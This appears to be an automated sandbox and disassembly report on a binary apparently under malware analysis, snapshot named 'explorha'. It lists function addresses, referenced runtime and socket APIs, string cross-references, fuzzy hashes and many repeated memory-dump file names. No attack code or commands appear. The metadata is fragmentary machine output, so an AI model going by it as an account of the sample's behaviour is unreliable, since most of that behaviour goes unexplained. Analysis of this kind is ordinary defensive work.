__freea.LIBCMT ref: 004C6416

Strings

Q"H, xrefs: 004C623B

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: __freea
String ID: Q"H
API String ID: 240046367-3884096668
Opcode ID: 0616dbbd0b5678c2fc5f2441fb39f0970f0df128aaa6c85caec2bca8db056258
Instruction ID: 04cf12a6e2e4bda45988cf2e8d89e39da2bb345e9db333de02684bfc7d82f116
Opcode Fuzzy Hash: 0616dbbd0b5678c2fc5f2441fb39f0970f0df128aaa6c85caec2bca8db056258
Instruction Fuzzy Hash: A6510376500256ABEF209EA5CC81FAF3BA9EF40714F16817FFD04A6251D738DC0196A9

Uniqueness

Uniqueness Score: -1.00%

Function 004839C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00483A93
__Cnd_destroy_in_situ.LIBCPMT ref: 00483A99
__Mtx_destroy_in_situ.LIBCPMT ref: 00483AA2

Strings

Q"H, xrefs: 004839D5, 00483B07

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: Q"H
API String ID: 3308344742-3884096668
Opcode ID: ccbde31b076611fd455434192354adbdd875ba2103fec1f59f17485ac65a7063
Instruction ID: bf78592ebefaef2f67440efc2ebd89e95159d34022bc6a530c20e78933e2bbf8
Opcode Fuzzy Hash: ccbde31b076611fd455434192354adbdd875ba2103fec1f59f17485ac65a7063
Instruction Fuzzy Hash: D451D471600B049FDB28EF29C884B6EB7E4EF45B25F144A6EE45687791DB3CAD00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0049DAE2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0049DB88
__Xtime_diff_to_millis2.LIBCPMT ref: 0049DBD2
_xtime_get.LIBCPMT ref: 0049DBF1

Strings

Q"H, xrefs: 0049DAE8

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: Q"H
API String ID: 2858396081-3884096668
Opcode ID: bdf78acda255a0ad272e6bf436534934f2f7be4505ed257f1a67a6673a99315b
Instruction ID: 2c0d8f41b9ce91d03c233b2dfc4e280ee3f267a76575101798b4257ab326d189
Opcode Fuzzy Hash: bdf78acda255a0ad272e6bf436534934f2f7be4505ed257f1a67a6673a99315b
Instruction Fuzzy Hash: AC513D30D00216CFDF24DF24C5D19AABBB5EF09314B2544BBE845AB246DB78ED41CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0048D8D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0048D91B
recv.WS2_32(?,?,00000008,00000000), ref: 0048D950

Strings

Q"H, xrefs: 0048D8E4

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: recv
String ID: Q"H
API String ID: 1507349165-3884096668
Opcode ID: f899b47db5221efbe80367080b18ecb8ade2524b5c07971466746501ca835d5f
Instruction ID: 55d1e27d31e96c293977a2204c5edf5bd2b4456ac5c5c3eb2b79079b0beb629a
Opcode Fuzzy Hash: f899b47db5221efbe80367080b18ecb8ade2524b5c07971466746501ca835d5f
Instruction Fuzzy Hash: 72210B719001555BD721C76CCCC5FAB7BACEB08728F040635F514EB3D2C77498058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0048DAEB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0048DB4C

Strings

stoi argument out of range, xrefs: 0048DCFA
invalid stoi argument, xrefs: 0048DD04
SN, xrefs: 0048DBFF

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
